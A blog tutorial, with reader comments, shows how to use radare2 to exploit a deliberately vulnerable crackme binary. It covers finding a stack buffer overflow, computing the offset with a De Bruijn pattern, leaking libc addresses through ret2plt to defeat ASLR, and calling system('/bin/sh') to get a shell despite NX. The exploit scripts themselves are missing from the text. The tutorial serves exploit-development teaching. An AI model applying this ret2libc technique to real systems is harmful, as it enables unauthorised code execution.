A journey into Radare 2 – Part 2: Exploitation

Standard

Prologue

Welcome back to the second part of our journey into the guts of radare2! In this part we’ll cover more of the features of radare2, this time with the focus on binary exploitation.

A lot of you waited for the second part, so here it is! Hope to publish the next part faster, much faster. If you didn’t read the first part of the series I highly recommend you to do so. It describes the basics of radare2 and explains many of the commands that I’ll use here.

In this part of the series we’ll focus on exploiting a simple binary. radare2 has many features which will help us in exploitation, such as mitigation detection, ROP gadget searching, random patterns generation, register telescoping and more. You can find a Reference Sheet at the end of this post. Today I’ll show you some of these great features and together we’ll use radare2 to bypass nx protected binary on an ASLR enabled system. I assume that you are already familiar with the following prerequisites:

It’s really important to be familiar with these topics because I won’t get deep into them, or even won’t briefly explain some of them.

Updating radare2

First of all, let’s update radare2 to its newest git version:

We have a long journey ahead so while we’re waiting for the update to finish, let’s get some motivation boost — cute cats video!

 

Getting familiar with our binary

Our binary this time is quite similar to the one from the previous post with a few slight changes to the main() function:

  • Compiled without -fno-stack-protector and -z execstac to enable NX bit
  • Receives user input with scanf and not from program’s arguments
  • Uses mostly puts to print to screen
  • Little changes to the program’s output

This was the previous main():

 

And now main looks like this:

 

You can download the binary from here, and the source from here.
If you want to compile the source by yourself, use the following command:

The functionality of the binary is pretty simple and we went through it in the previous post — It asks for user input, performs rot13 on the input and compares it with the result of rot13 on the string “Megabeets”. Id est, the input should be ‘Zrtnorrgf’.

 

It’s all well and good but today our post is not about cracking a simple Crackme but about exploiting it. Wooho! Let’s get to the work.

Understanding the vulnerability

As with every exploitation challenge, it is always a good habit to check the binary for implemented security protections. We can do it with rabin2 which I demonstrated in the last post or simply by executing i from inside radare’s shell. Because we haven’t opened the binary with radare yet, we’ll go for the rabin2 method:

As you can see in the marked lines, the binary is NX protected which means that we won’t have an executable stack to rely on. Moreover, the file isn’t protected with canariespic  or relro.

Now it’s time to quickly go through the flow of the program, this time we’ll look at the disassembly (we won’t always have the source code). Open the program in debug mode using radare2:

$ r2 -d megabeets_0x2
Process with PID 20859 started…
= attach 20859 20859
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32– Your endian swaps
[0xf7782b30]> aas
  • -d  – Open in the debug mode
  • aas – Analyze functions, symbols and more

Note: as I mentioned in the previous post, starting with aaa is not always the recommended approach since analysis is very complicated process. I wrote more about it in this answer — read it to better understand why.

Now continue the execution process until main is reached. We can easily do this by executing dcu main:

[0xf7797b30]> dcu?
|Usage: dcu Continue until address
| dcu address      Continue until address
| dcu [..tail]     Continue until the range
| dcu [from] [to]  Continue until the range
[0xf7797b30]> dcu main
Continue until 0x08048658 using 1 bpsize
hit breakpoint at: 8048658

dcu stands for debug continue until

Now let’s enter the Visual Graph Mode by pressing  VV. As explained in the first part, you can toggle views using p and P, move Left/Down/Up/Right using h/j/k/l respectively and jump to a function using g and the key shown next to the jump call (e.g gd).

Use ? to list all the commands of Visual Graph mode and make sure not to miss the R command 😉

main() is the function where our program prompts us for input (via scanf() ) and then passes this input to sym.beet . By pressing gc we can jump to the function beet() which handles our input:

We can see that the user input [arg_8h] is copied to a buffer ([local_88h]) and then, just as we saw in the previous post, the string Megabeets is encrypted with rot13 and the result is then compared with our input. We saw that before so I won’t explain it further.

Did you see something fishy? The size of our input is never checked and the input copied as-is to the buffer. That mean that if we’ll enter an input that is bigger then the size of the buffer, we’ll cause a buffer overflow and smash the stack. Ta-Dahm! We found our vulnerability.

Crafting the exploit

Now that we have found the vulnerable function, we need to gently craft a payload to exploit it. Our goal is simply to get a shell on the system. First, we need to validate that there’s indeed a vulnerable function and then, we’ll find the offset at which our payload is overriding the stack.

We’ll use a tool in radare’s framework called ragg2, which allows us to generate a cyclic pattern called De Bruijn Sequence and check the exact offset where our payload overrides the buffer.

We know that our binary is taking user input via stdin, instead of copy-pate our input to the shell, we’ll use one more tool from radare’s toolset called rarun2.

rarun2 is used as a launcher for running programs with different environments, arguments, permissions, directories and overrides the default file descriptors (e.g. stdin).

It is useful when you have to run a program using long arguments, pass a lot of data to stdin or things like that, which is usually the case for exploiting a binary.

We need to do the following three steps:

  • Write  De Bruijn pattern to a file with ragg2
  • Create rarun2 profile file and set the output-file as stdin
  • Let radare2 do its magic and find the offset
$ ragg2 -P 200 -r > pattern.txt
$ cat pattern.txt
AAABAACAADAAEAAFAAGAAHAAI… <truncated> …7AA8AA9AA0ABBABCABDABEABFA
 
$ vim profile.rr2
 
$ cat profile.rr2
#!/usr/bin/rarun2
stdin=./pattern.txt
 
$ r2 -R profile.rr2 -d megabeets_0x2
Process with PID 21663 started…
= attach 21663 21663
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
 
— Use rarun2 to launch your programs with a predefined environment.
[0xf77c2b30]> dc
Selecting and continuing: 21663
 
.:: Megabeets ::.
 
Show me what you got?
child stopped with signal 11
 
[0x41417641]>

We executed our binary and passed the content of pattern.txt to stdin with rarun2 and received SIGSEV 11.

 A signal is an asynchronous notification sent to a process or to a specific thread within the same process in order to notify it of an event that occurred.

The SIGSEGV (11) signal is sent to a process when it makes an invalid virtual memory reference, or segmentation fault, i.e. when it performs a segmentation violation.

Did you notice that now our prompt points to 0x41417641? This is an invalid address which represents ‘AAvA’ (ascii), a fragment from our pattern. radare allows us to find the offset of a given value in De Bruijn pattern.

[0x41417641]> wop?
|Usage: wop[DO] len @ addr | value
| wopD len [@ addr]  Write a De Bruijn Pattern of length ‘len’ at address ‘addr’
| wopO value         Finds the given value into a De Bruijn Pattern at current offset
[0x41417641]> wopO eip
140

Now that we know that the override of the return address occurs after 140 bytes, we can begin crafting our payload.

Creating the exploit

As I wrote a couple times before, this post isn’t about teaching basics of exploitation, it aims to show how radare2 can be used for binary exploitation using variety of commands and tools in the framework. Thus, this time I won’t get deeper into each part of our exploit.

Our goal is to spawn a shell on the running system. There are many ways to go about it, especially in such a vulnerable binary as ours. In order to understand what we can do, we first need to understand what we can’t do. Our machine is protected with ASLR so we can’t predict the address where libc will be loaded in memory. Farewell ret2libc. In addition, our binary is protected with NX, that means that the stack is not executable so we can’t just put a shellcode on the stack and jump to it.

Although these protections prevents us from using a few exploitation techniques, they are not immune and we can easily craft a payload to bypass them. To assemble our exploit we need to take a more careful look at the libraries and functions that the binary offers us.

Let’s open the binary in debug mode again and have a look at the libraries and the functions it uses. Starting with the libraries:

$ r2 -d megabeets_0x2
Process with PID 23072 started…
= attach 23072 23072
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
— You haxor! Me jane?
[0xf7763b30]> il
[Linked libraries]
libc.so.61 library

il stands for Information libraries and shows us the libraries that our binary uses. Only one library in our case — our beloved libc.

Now let’s have a look at the imported functions by executing ii which stands for — you guessed right — Information Imports. We can also add q to our command to print a less verbose output:

[0xf7763b30]> ii

[Imports]
ordinal=001 plt=0x08048370 bind=GLOBAL type=FUNC name=strcmp
ordinal=002 plt=0x08048380 bind=GLOBAL type=FUNC name=strcpy
ordinal=003 plt=0x08048390 bind=GLOBAL type=FUNC name=puts
ordinal=004 plt=0x00000000 bind=WEAK type=NOTYPE name=__gmon_start__
ordinal=005 plt=0x080483a0 bind=GLOBAL type=FUNC name=__libc_start_main
ordinal=006 plt=0x080483b0 bind=GLOBAL type=FUNC name=__isoc99_scanf6 imports

[0xf7763b30]> iiq
strcmp
strcpy
puts
__gmon_start__
__libc_start_main
__isoc99_scanf

Oh sweet! We have puts and scanf, we can take advantage of these two in order to create a clean exploit. Our exploit will take advantage of the fact that we can control the flow of the program (remember that ret tried to jump to an offset in our pattern?) and we’ll try to execute system("/bin/sh") to pop a shell.

The plan

  • Leak the real address of puts
  • Calculate the base address of libc
  • Calculate the address of system
  • Find an address in libc that contains the string /bin/sh
  • Call system with /bin/sh and spawn a shell

Leaking the address of puts

To leak the real address of puts we’ll use a technique called ret2plt. The Procedure Linkage Table is a memory structure that contains a code stub for external functions that their addresses are unknown at the time of linking. Whenever we see a CALL instruction to a function in the .text segment it doesn’t call the function directly. Instead, it calls the stub code at the PLT, say func_name@plt. The stub then jumps to the address listed for this function in the Global Offset Table (GOT). If it is the first CALL to this function, the GOT entry will point back to the PLT which in turn would call a dynamic linker that will resolve the real address of the desired function. The next time that func_name@pl is called, the stub directly obtains the function address from the GOT. To read more about the linking process, I highly recommend this series of articles about linkers by Ian Lance Taylor.

In order to do this, we will find the address of puts in both the PLT and the GOT and then call puts@got with puts@plt as a parameter. We will chain these calls and send them to the program at the point where scanf is expecting our input. Then we’ll return to the entrypoint for the second stage of our exploit. What will happen is that puts will print the real address of itself — magic!


For writing the exploit we will use pwnlib framework which is my favorite python framework for exploitation task. It is simplifying a lot of stuff and making our life easier. You can use every other method you prefer.

To install pwntools use pip:

You can read more about pwntools in the official documentation.

Here’s our python skeleton for the first stage:

We need to fill in the addresses of puts@plt, puts@got, and the entry point of the program. Let’s get back to radare2 and execute the following commands. The # character is used for commenting and the ~ character is radare’s internal grep.

[0xf7763b30]> # the address of puts@plt:
[0xf7763b30]> ?v sym.imp.puts
0x08048390
[0xf7763b30]> # the address of puts@got:
[0xf7763b30]> ?v reloc.puts_20
0x0804a014
[0xf7763b30]> # the address of program’s entry point (entry0):
[0xf7763b30]> ieq
0x080483d0

sym.imp.puts and reloc.puts_20 are flags that radare is automatically detect. The command ie stands for Information Entrypoint.

Now we need to fill in the addresses that we’ve found:

Let’s execute the script:

$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 23578
[*] puts is at: 0xf75db710
[*] Stopped process ‘./megabeets_0x2’ (pid 23578)
 
$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 23592
[*] puts is at: 0xf7563710
[*] Stopped process ‘./megabeets_0x2’ (pid 23592)
 
$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 23606
[*] puts is at: 0xf75e3710
[*] Stopped process ‘./megabeets_0x2’ (pid 23606)

I executed it 3 times to show you how the address of puts has changed in each run. Therefore we cannot predict its address beforehand. Now we need to find the offset of puts in libc and then calculate the base address of libc. After we have the base address we can calculate the real addresses of  system, exit and "/bin/sh" using their offsets.

Our skeleton now should look like this:

 

Calculating the real addresses

Please notice that in this part of the article, my results would probably be different then yours. It is likely that we have different versions  of libc, thus the offsets won’t be the same.

First we need to find the offset of puts from the base address of libc. Again let’s open radare2 and continue executing until we reach the program’s entrypoint. We have to do this because radare2 is starting its debugging before libc is loaded. When we’ll reach the entrypoint, the library for sure would be loaded.

Let’s use the dmi command and pass it libc and the desired function. I added some grep magic (~) to show only the relevant line.

$ r2 -d megabeets_0x2

Process with PID 24124 started…
= attach 24124 24124
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
— A C program is like a fast dance on a newly waxed dance floor by people carrying razors – Waldi Ravens

[0xf771ab30]> dcu entry0
Continue until 0x080483d0 using 1 bpsize
hit breakpoint at: 80483d0

[0x080483d0]> dmi libc puts~=puts:0
vaddr=0xf758f710 paddr=0x00062710 ord=6490 fwd=NONE sz=474 bind=GLOBAL type=FUNC name=puts

[0x080483d0]> dmi libc system~=system:0
vaddr=0xf7569060 paddr=0x0003c060 ord=6717 fwd=NONE sz=55 bind=WEAK type=FUNC name=system

[0x080483d0]> dmi libc exit~=exit:0
vaddr=0xf755c180 paddr=0x0002f180 ord=5904 fwd=NONE sz=33 bind=LOCAL type=FUNC name=exit

All these paddr=0x000xxxxx are the offsets of the function from libc base. Now it’s time to find the reference of "/bin/sh" in the program. To do this we’ll use radare’s search features. By default radare is searching in dbg.map which is the current memory map. We want to search in all memory maps so we need to config it:

[0x080483d0]> e search.in = dbg.maps

You can view more options if you’ll execute e search.in=? . To configure radare the visual way, use Ve.

Searching with radare is done by the / command. Let’s see some search options that radare offers us:

|Usage: /[amx/] [arg]Search stuff (see ‘e??search’ for options)
| / foo\x00           search for string ‘foo\0’
| /j foo\x00          search for string ‘foo\0’ (json output)
| /! ff               search for first occurrence not matching
| /+ /bin/sh          construct the string with chunks
| /!x 00              inverse hexa search (find first byte != 0x00)
| //                  repeat last search
| /h[t] [hash] [len]  find block matching this hash. See /#?
| /a jmp eax          assemble opcode and search its bytes
| /A jmp              find analyzed instructions of this type (/A? for help)
| /b                  search backwards
| /B                  search recognized RBin headers
| /c jmp [esp]        search for asm code
| /C[ar]              search for crypto materials
| /d 101112           search for a deltified sequence of bytes
| /e /E.F/i           match regular expression
| /E esil-expr        offset matching given esil expressions %%= here
| /f file [off] [sz]  search contents of file with offset and size
| /i foo              search for string ‘foo’ ignoring case
| /m magicfile        search for matching magic file (use blocksize)
| /o                  show offset of previous instruction
| /p patternsize      search for pattern of given size
| /P patternsize      search similar blocks
| /r[e] sym.printf    analyze opcode reference an offset (/re for esil)
| /R [?] [grepopcode] search for matching ROP gadgets, semicolon-separated
| /v[1248] value      look for an cfg.bigendian 32bit value
| /V[1248] min max    look for an cfg.bigendian 32bit value in range
| /w foo              search for wide string ‘f\0o\0o\0’
| /wi foo             search for wide string ignoring case ‘f\0o\0o\0’
| /x ff..33           search for hex string ignoring some nibbles
| /x ff0033           search for hex string
| /x ff43 ffd0        search for hexpair with mask
| /z min max          search for strings of given size

Amazing amount of possibilities. Notice this /R feature for searching ROP gadgets. Sadly, we are not going to cover ROP in this post but those of you who write exploits will love this tool.

We don’t need something facny, we’ll use the simplest search. After that we’ll find where in this current execution libc was loaded at (dmm) and then we’ll calculate the offset of "/bin/sh".

[0x080483d0]> / /bin/sh
Searching 7 bytes from 0x08048000 to 0xffd50000: 2f 62 69 6e 2f 73 68
Searching 7 bytes in [0x8048000-0x8049000]
hits: 0
Searching 7 bytes in [0x8049000-0x804a000]
hits: 0 <..truncated..> Searching 7 bytes in [0xf77aa000-0xf77ab000]
hits: 0
Searching 7 bytes in [0xffd2f000-0xffd50000]
hits: 0
0xf7700768 hit1_0 .b/strtod_l.c-c/bin/shexit 0canonica.

r2 found "/bin/sh" in the memory. Now let’s calculate its offset from libc base:

[0x080483d0]> dmm~libc
0xf7599000 /usr/lib32/libc-2.25.so
[0x080483d0]> ?X 0xf7700768-0xf7599000
167768

We found that the offset of "/bin/sh" from the base of libc is 0x167768. Let’s fill it in our exploit and move to the last part.

Spawning a shell

The second stage of the exploit is pretty straightforward. We will again use 140 bytes of padding, then we’ll call system with the address of "/bin/sh" as a parameter and then return to exit.

Remember that we returned to the entrypoint last time? That means that scanf is waiting for our input again. Now all we need to do is to chain these calls and send it to the program.

Here’s the final script. As I mentioned earlier, you need to replace the offsets to match your version of libc.

 

When running this exploit we will successfully spawn a shell:

$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 24410
[*] puts is at: 0xf75db710
[*] libc base: 0xf75ce000
[*] system is at: 0xf760a060
[*] /bin/sh is at: 0xf7735768
[*] exit is at: 0xf75fd1b0
[+] Here comes the shell!
[*] Switching to interactive mode:
 
$ whoami
beet
$ echo EOF
EOF

Epilogue

Here the second part of our journey with radare2 is coming to an end. We learned about radare2 exploitation features just in a nutshell. In the next parts we’ll learn more about radare2 capabilities including scripting and malware analysis. I’m aware that it’s hard, at first, to understand the power within radare2 or why you should put aside some of your old habits (gdb-peda) and get used working with radare2. Having radare2 in your toolbox is a very smart step whether you’re a reverse engineer, an exploit writer, a CTF player or just a security enthusiast.

Above all I want to thank Pancake, the man behind radare2, for creating this amazing tool as libre and open, and to the amazing friends in the radare2 community that devote their time to help, improve and promote the framework.

Please post comments or message me privately if something is wrong, not accurate, needs further explanation or you simply don’t get it. Don’t hesitate to share your thoughts with me.

Subscribe on the left if you want to get the next articles straight in your inbox.

Exploitation Cheatsheet

Here’s a list of the commands I mentioned in this post (and a little more). You can use it as a reference card.

Gathering information

  • $ rabin2 -I ./program — Binary info (same as i from radare2 shell)
  • ii [q] – Imports
  • ?v sym.imp.func_name — Get address of func_name@PLT
  • ?v reloc.func_name — Get address of func_name@GOT
  • ie [q] — Get address of Entrypoint
  • iS — Show sections with permissions (r/x/w)
  • i~canary — Check canaries
  • i~pic — Check if Position Independent Code
  • i~nx — Check if compiled with NX

Memory

  • dm — Show memory maps
  • dmm — List modules (libraries, binaries loaded in memory)
  • dmi [addr|libname] [symname] — List symbols of target lib

Searching

  • e search.* — Edit searching configuration
  • /? — List search subcommands
  • / string — Search string in memory/binary
  • /R [?] — Search for ROP gadgets
  • /R/ — Search for ROP gadgets with a regular expressions

Debugging

  • dc — Continue execution
  • dcu addr – Continue execution until address
  • dcr — Continue until ret (uses step over)
  • dbt [?] — Display backtrace based on dbg.btdepth and dbg.btalgo
  • doo [args] — Reopen in debugger mode with args
  • ds — Step one instruction
  • dso — Step over

Visual Modes

  • pdf @ addr — Print the assembly of a function in the given offset
  • V — Visual mode, use p/P to toggle between different modes
  • VV — Visual Graph mode, navigating through ASCII graphs
  • V! — Visual panels mode. Very useful for exploitation

Check this post on radare’s blog to see more commands that might be helpful.

 

Share

8 thoughts on “A journey into Radare 2 – Part 2: Exploitation

  1. branden

    Thanks for the writeup! I had trouble with this command:

    r2 -R profile.rr2 -d megabeets_0x2 where stdin is not being recognized when running the next step, ‘dc’

    I also tried r2 -r profile.rr2 -d megabeets_0x2 and no success

    Finally this worked: r2 -e dbg.profile=profile.rr2 -d megabeets_0x2

    My r2 version (-v) is:

    radare2 1.7.0-git 15975 @ linux-x86-64 git.1.6.0-751-g4a83691
    commit: 4a83691408e37306cb233f6486481e7ea571dcfd build: 2017-09-05__17:34:41

    • Megabeets

      Thanks Branden! Probably a bug, I’ll take a look at the source code in the next few days and see what the problem is.
      Your solution is the old fashioned way load rarun2 profiles. Good job!
      Thanks again!

      • Nopesled

        I had the same issue, the command that made it work for me was: r2 -de dbg.profile=profile.rr2 megabeets_0x2 . The command that you suggested was throwing this error at me:
        “r_config_set: variable ‘gdb.profile’ not found” when r2 was starting.

        My r2 build:
        radare2 1.7.0-git 15995 @ linux-x86-64 git.1.6.0-771-g56e7f61
        commit: 56e7f6198b4f7c1b74ee42fd15991f81789f5daa build: 2017-09-08__00:34:49

        • Megabeets

          Actually it works for me very well, both ways. I am running the latest version from git:
          radare2 1.7.0-git 16044 @ linux-x86-64 git.1.6.0-119-g41e21634a
          commit: 41e21634ab05323b6f3733148bb6470bf9e0994c build: 2017-09-08__07:42:42

          A couple of people are complaining about it and I’ll check radare’s source-code and search for the bug. The error that had thrown at you is very weird since you can see it says gdb.profile and not dbg.profile. Probably an issue as well.

          Again, for me it works great:

          $ r2 -R profile.rr2 -d megabeets_0x2
          Process with PID 16993 started...
          = attach 16993 16993
          bin.baddr 0x08048000
          Using 0x8048000
          Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
          asm.bits 32
          -- Hang in there, Baby!
          [0xf77d9b30]> dc
          Selecting and continuing: 16993

          .:: Megabeets ::.

          Show me what you got?
          child stopped with signal 11
          [0x41417641]> wopO eip
          140
          [0x41417641]> qq
          Do you want to quit? (Y/n)

          $ r2 -e dbg.profile=profile.rr2 -d megabeets_0x2
          Process with PID 17005 started...
          = attach 17005 17005
          bin.baddr 0x08048000
          Using 0x8048000
          Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
          asm.bits 32
          -- Your project name should contain an uppercase letter, 8 vowels, some numbers, and the first 5 numbers of your private bitcoin key.
          [0xf7767b30]> dc
          Selecting and continuing: 17005

          .:: Megabeets ::.

          Show me what you got?
          child stopped with signal 11
          [0x41417641]> wopO eip
          140

          Thanks for informing me

  2. Nopesled

    Hey Megabeets, I ran into an issue and I was wondering if you know what the solution might be. So I run any binary in debug mode ( r2 -d binary ) and let’s say that I want to re-run the binary with some inputs. I found out that I can use ood to restart the execution while attaching the debugger. The thing is that ptrace cannot be attached. The output is shown below:
    Wait event received by different pid 16591
    Process with PID 20197 started…
    File dbg:///home/user/crackme0x08 reopened in read-write mode
    = attach 20197 20197
    ptrace (PT_ATTACH): Operation not permitted

    I tried running the process as root and disabling kernel hardening to ptrace through /proc/sys/kernel/yama/ptrace_scope -> 0 without any luck.

    I’ve been waiting for your second blog post for a long time, nice to see it finally came out!

Leave a Reply

Your email address will not be published. Required fields are marked *